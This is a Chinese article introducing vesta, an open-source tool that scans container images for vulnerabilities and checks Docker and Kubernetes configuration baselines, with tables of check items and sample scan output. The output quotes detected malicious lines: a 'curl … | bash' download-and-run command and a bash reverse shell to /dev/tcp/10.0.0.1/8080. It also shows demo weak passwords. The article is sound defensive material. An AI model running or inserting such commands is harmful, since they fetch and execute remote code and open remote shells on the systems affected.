Docker和Kubernetes配置安全基线检查工具vesta
概述
vesta是一款集容器扫描,Docker和Kubernetes配置基线检查于一身的工具。检查内容包括镜像或容器中包含漏洞版本的组件,同时根据云上实战渗透经验检查Docker以及Kubernetes的危险配置
vesta同时也是一个灵活,方便的工具,能够在各种系统上运行,包括但不限于Windows,Linux以及MacOS
检查项
Scan
- 扫描通过主流安装方法安装程序的漏洞
- apt/apt-get
- rpm
- yum
- dpkg
- 扫描软件依赖的漏洞以及恶意投毒的依赖包
- Java(Jar, War, 以及主流依赖log4j)
- NodeJs(NPM, YARN)
- Python(Wheel, Poetry)
- Golang(Go binary)
- PHP(Composer, 以及主流的PHP框架: laravel, thinkphp, wordpress, wordpress插件等)
- Rust(Rust binary)
Docker检查
Supported | Check Item | Description | Severity | Reference |
? | PrivilegeAllowed | 危险的特权模式 | critical | Ref |
? | Capabilities | 危险capabilities被设置 | critical | Ref |
? | Volume Mount | 敏感或危险目录被挂载 | critical | Ref |
? | Docker Unauthorized | 2375端口打开并且未授权 | critical | Ref |
? | Kernel version | 当前内核版本存在逃逸漏洞 | critical | Ref |
? | Network Module | Net模式为 host 模式或同时在特定containerd版本下 | critical/medium | |
? | Pid Module | Pid模式被设置为 host | high | |
? | Docker Server version | Docker Server版本存在漏洞 | critical/high/ medium/low | |
? | Docker env password check | Docker env是否存在弱密码 | high/medium | |
? | Docker history | Docker layers 存在不安全的命令 | high/medium | |
? | Docker Backdoor | Docker env command 存在恶意命令 | critical/high | |
? | Docker Swarm | Docker Swarm存在危险配置信息以及危险的容器检测 | medium/low |
Kubernetes检查
Supported | Check Item | Description | Severity | Reference |
? | PrivilegeAllowed | 危险的特权模式 | critical | Ref |
? | Capabilities | 危险capabilities被设置 | critical | Ref |
? | PV and PVC | PV 被挂载到敏感目录并且状态为active | critical/medium | Ref |
? | RBAC | K8s 权限存在危险配置 | high/medium/ low/warning | |
? | Kubernetes-dashborad | 检查 -enable-skip-login 以及 dashborad的账户权限 | critical/high/ low | Ref |
? | Kernel version | 当前内核版本存在逃逸漏洞 | critical | Ref |
? | Docker Server version (k8s versions is less than v1.24) | Docker Server版本存在漏洞 | critical/high/ medium/low | |
? | Kubernetes certification expiration | 证书到期时间小于30天 | medium | |
? | ConfigMap and Secret check | ConfigMap 或者 Secret是否存在弱密码 | high/medium | |
? | PodSecurityPolicy check (k8s version under the v1.25) | PodSecurityPolicy过度容忍Pod不安全配置 | high/medium/low | Ref |
? | Auto Mount ServiceAccount Token | Pod默认挂载了service token | critical/high/ medium/low | Ref |
? | NoResourceLimits | 没有限制资源的使用,例如CPU,Memory, 存储 | low | Ref |
? | Job and Cronjob | Job或CronJob没有设置seccomp或seLinux安全策略 | low | Ref |
? | Envoy admin | Envoy admin被配置以及监听 0.0.0.0 . | high/medium | Ref |
? | Cilium version | Cilium 存在漏洞版本 | critical/high/ medium/low | Ref |
? | Istio configurations | Istio 存在漏洞版本以及安全配置检查 | critical/high/ medium/low | Ref |
? | Kubelet 10255/10250 and Kubectl proxy | 存在node打开了10250或者10255并且未授权或 Kubectl proxy开启 | high/medium/ low | |
? | Etcd configuration | Etcd 安全配置检查 | high/medium | |
? | Sidecar configurations | Sidecar 安全配置检查以及Env环境检查 | critical/high/ medium/low | |
? | Pod annotation | Pod annotation 存在不安全配置 | high/medium/ low/warning | Ref |
? | DaemonSet | DaemonSet存在不安全配置 | critical/high/ medium/low | |
? | Backdoor | 检查k8s中是否有后门 | critical/high | Ref |
? | Lateral admin movement | Pod被特意配置到Master节点中 | medium/low |
编译并使用vesta
编译vesta
- 使用make build 进行编译
- 从Releases上下载可执行文件
使用vesta检查镜像过容器中的漏洞组件版本(使用镜像ID,镜像标签或使用-f文件输入均可)
$./vesta scan container -f example.tar
2022/11/29 22:50:19 Begin upgrading vulnerability database
2022/11/29 22:50:19 Vulnerability Database is already initialized
2022/11/29 22:50:19 Begin to analyze the layer
2022/11/29 22:50:35 Begin to scan the layer
Detected 216 vulnerabilities
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered |
| | | | | | | in Django 1.11.x before |
| | | | | | | 1.11.23, 2.1.x before 2.1.11, |
| | | | | | | and 2.2.x before 2.2.4. If |
| | | | | | | django.utils.text.Truncator's |
| | | | | | | chars() and words() methods |
| | | | | | | were passed the html=True |
| | | | | | | argument, t ... |
+-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered |
| | | | | | | in Django 1.11.x before |
| | | | | | | 1.11.23, 2.1.x before 2.1.11, |
| | | | | | | and 2.2.x before 2.2.4. |
| | | | | | | Due to the behaviour of |
| | | | | | | the underlying HTMLParser, |
| | | | | | | django.utils.html.strip_tags |
| | | | | | | would be extremely ... |
+-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in |
| | | | | | | Django 1.11.x before 1.11.23, |
| | | | | | | 2.1.x before 2.1.11, and 2.2.x |
| | | | | | | before 2.2.4. Due to an error |
| | | | | | | in shallow key transformation, |
| | | | | | | key and index lookups for |
| | | | | | | django.contrib.postgres.f ... |
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
| 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in |
| | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', |
| | | | | | | malicious command "curl https://vuln.com | bash" are |
| | | | | | | detected. |
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
使用vesta检查Docker的基线配置
也可以在docker中使用
make run.docker
$./vesta analyze docker
2022/11/29 23:06:32 Start analysing
Detected 3 vulnerabilities
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: None | | | | the CVE-2022-0492 with |
| | | | | | CAP_SYS_ADMIN and v1 |
| | | | | | architecture of cgroups |
| | | | | | vulnerablility, has a |
| | | | | | potential container escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 3 | Name: Image Tag | Privileged | true | critical | There has a potential container|
| | ID: None | | | | escape in privileged module. |
| | | | | | |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found |
| | ID: None | | vesta_history_test:latest | | | in command: ' echo |
| | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > |
| | | | | | config.ini # buildkit'. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
使用vesta检查Kubernetes的基线配置
2022/11/29 23:15:59 Start analysing
2022/11/29 23:15:59 Getting docker server version
2022/11/29 23:15:59 Getting kernel version
Detected 4 vulnerabilities
Pods:
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential |
| | default | Status: Running | | Privileged | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has |
| | | env | | | | found weak password: |
| | | | | | | 'Password123456'. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds |
| | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: |
| | | | | | | 0.91 out of 1.0), which is a |
| | | | | | | suspect command backdoor. |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential |
| | default | Status: Running | | capabilities | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account |
| | | automountServiceAccountToken | | | | and key permission are |
| | | | | | | given, which will cause a |
| | | | | | | potential container escape. |
| | | | | | | Reference clsuterRolebind: |
| | | | | | | vuln-clusterrolebinding | |
| | | | | | | roleBinding: vuln-rolebinding |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. |
| | | Resource | | | | |
| | | | | | | |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
Configures:
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | | | | | the CVE-2022-0185 with |
| | | | | | CAP_SYS_ADMIN vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key |
| | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the |
| | | rolename: vuln-clusterrole | | pods, services | | default service account, which |
| | | kind: ClusterRole | subject | | | will cause a potential data |
| | | kind: Group | subject name: | | | leakage. |
| | | system:serviceaccounts:vuln | | | | |
| | | namespace: vuln | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key |
| | | | rolename: vuln-role | role | create, update | resources: | | resources given to the |
| | | kind: Role | subject kind: | pods, services | | default service account, which |
| | | ServiceAccount | subject name: | | | will cause a potential data |
| | | default | namespace: default | | | leakage. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given |
| | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', |
| | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. |
| | | subject kind: User | subject | | | |
| | | name: testUser | namespace: | | | |
| | | all | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
使用方法
$./vesta -h
Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit
Tutorial is available at https://github.com/kvesta/vesta
Usage:
vesta [command]
Available Commands:
analyze Kubernetes analyze
completion Generate the autocompletion script for the specified shell
help Help about any command
scan Container scan
update Update vulnerability database
version Print version information and quit
Flags:
-h, --help help for vesta
项目地址:https://github.com/kvesta/vesta/
相关文章
- SQL Server导出表结构和数据(sql导出表结构和表数据)
- 告别单证积压!一套系统打破信息孤岛,电子化存证一键溯源!
- 速看!SQL server数据库日志文件过大怎么办?
- 云计算实战:数据备份(如何实现数据云备份)
- SQLServer收缩日志文件(sqlserver收缩日志文件是什么意思)
- RDS sql server使用DTS进行数据库迁移,同阿里云RDS进行数据库迁移
- 如何轻松搞定SAP HANA数据库备份?
- 对于企业数据云备份,“多备份”承诺的是成本更低,管理更高效#36氪开放日深圳站#
- 超详细的SqlServer数据库触发器总结
- Acronis Backup (Advanced)使用示例:备份与恢复(一)